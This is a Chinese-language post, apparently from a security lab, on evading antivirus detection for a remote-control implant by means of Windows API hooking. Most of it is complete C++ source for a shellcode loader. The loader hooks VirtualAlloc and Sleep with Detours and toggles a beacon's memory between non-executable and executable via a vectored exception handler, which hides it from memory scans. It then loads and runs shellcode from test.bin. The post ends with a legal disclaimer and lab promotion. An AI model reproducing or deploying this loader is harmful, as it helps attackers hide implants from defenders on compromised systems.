新聞動態
?+
+
windows基于hook的遠控免殺
鉤子(Hook),是Windows消息處理機制的一個平臺,應用程序可以在上面設置子程以監視指定窗口的某種消息,而且所監視的窗口可以是其他進程所創建的。當消息到達后,在目標窗口處理函數之前處理它。鉤子機制允許應用程序截獲處理window消息或特定事件。其實就是改變程序執行流程的一種技術的統稱。
完整代碼
#include "pch.h"
#include
#include
#include
#include "detours.h"
#include "detver.h"
#pragma comment(lib,"detours.lib")
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
//分配內存地址和大小
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
//設置新的sleep地址
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep時間:%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //避免重復HOOK
DetourTransactionBegin(); // 開始HOOK
DetourUpdateThread(GetCurrentThread());//列入一個在DetourTransaction過程中要進行update的線程,為了避免崩潰
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //多次調用DetourAttach,HOOK多個函數
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin();//解除截獲過程
DetourUpdateThread(GetCurrentThread());//列入一個在DetourTransaction過程中要進行update的線程,為了避免崩潰
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);//撤銷對NewVirtualAlloc的hook
DetourTransactionCommit();//解除hook
}
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);//ftell配合fseek計算出文件大小
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llx\n", Exception_addr);
return true;
}
printf("地址不符合:%llx\n", Exception_addr);
return false;
}
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("異常錯誤碼:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
//printf("線程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
{
printf("恢復Beacon內存屬性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//設置Beacon_address所在內存區域設置為可執行模式
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes啟動\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);//檢測hEvent事件的信號狀態,INFINITE表示函數將僅在對象收到信號時返回
printf("設置Beacon內存屬性不可執行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);//將shellcode_addr所在內存區域設置為不可執行模式
ResetEvent(hEvent); //設置事件hEvent為無信號狀態
}
return 0;
}
int main()
{
hEvent = CreateEvent(NULL, TRUE, false, NULL);//創建一個命名的或無名的事件對象
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);//注冊向量異常處理程序,并返回異常處理程序的句柄
Hook(); //開始hook
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);//創建線程,指向線程函數的地址Beacon_set_Memory_attributes
CloseHandle(hThread1);//關閉線程
unsigned char* BinData = NULL;
size_t size = 0;
char* szFilePath = ".\\test.bin";
BinData = ReadBinaryFile(szFilePath, &size);
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);//申請內存空間,返回首地址
memcpy(shellcode_addr, BinData, size);//從存儲區 BinData復制 size個字節到存儲區 shellcode_addr
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//將shellcode_addr所在內存區域設置為可執行模式
(*(int(*)()) shellcode_addr)(); //執行shellcode
UnHook();//結束hook
return 0;
}
E·N·D
本文由創信華通創安攻防實驗室編輯。
本文僅限于個人學習和技術研究,由于傳播、利用此文所提供的信息而造成刑事案件、非授權攻擊等違法行為,均由使用者本人負責,本單位不為此承擔任何責任。創安攻防實驗室擁有對此文章的修改和解釋權,如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。
如有侵權,請聯系后臺。
●
創安攻防實驗室
創安攻防實驗室,是成都創信華通信息技術有限公司旗下的技術研究團隊,成立于2021年9月,主要研究紅藍對抗、重大安全保障、應急響應等方向。
創安攻防實驗室圓滿完成了多次公安舉辦的重要網絡安全保障和攻防演習活動,并積極參加各類網絡安全競賽,屢獲殊榮。
創安攻防實驗室秉承創信華通的發展理念,致力打造國內一流網絡安全團隊。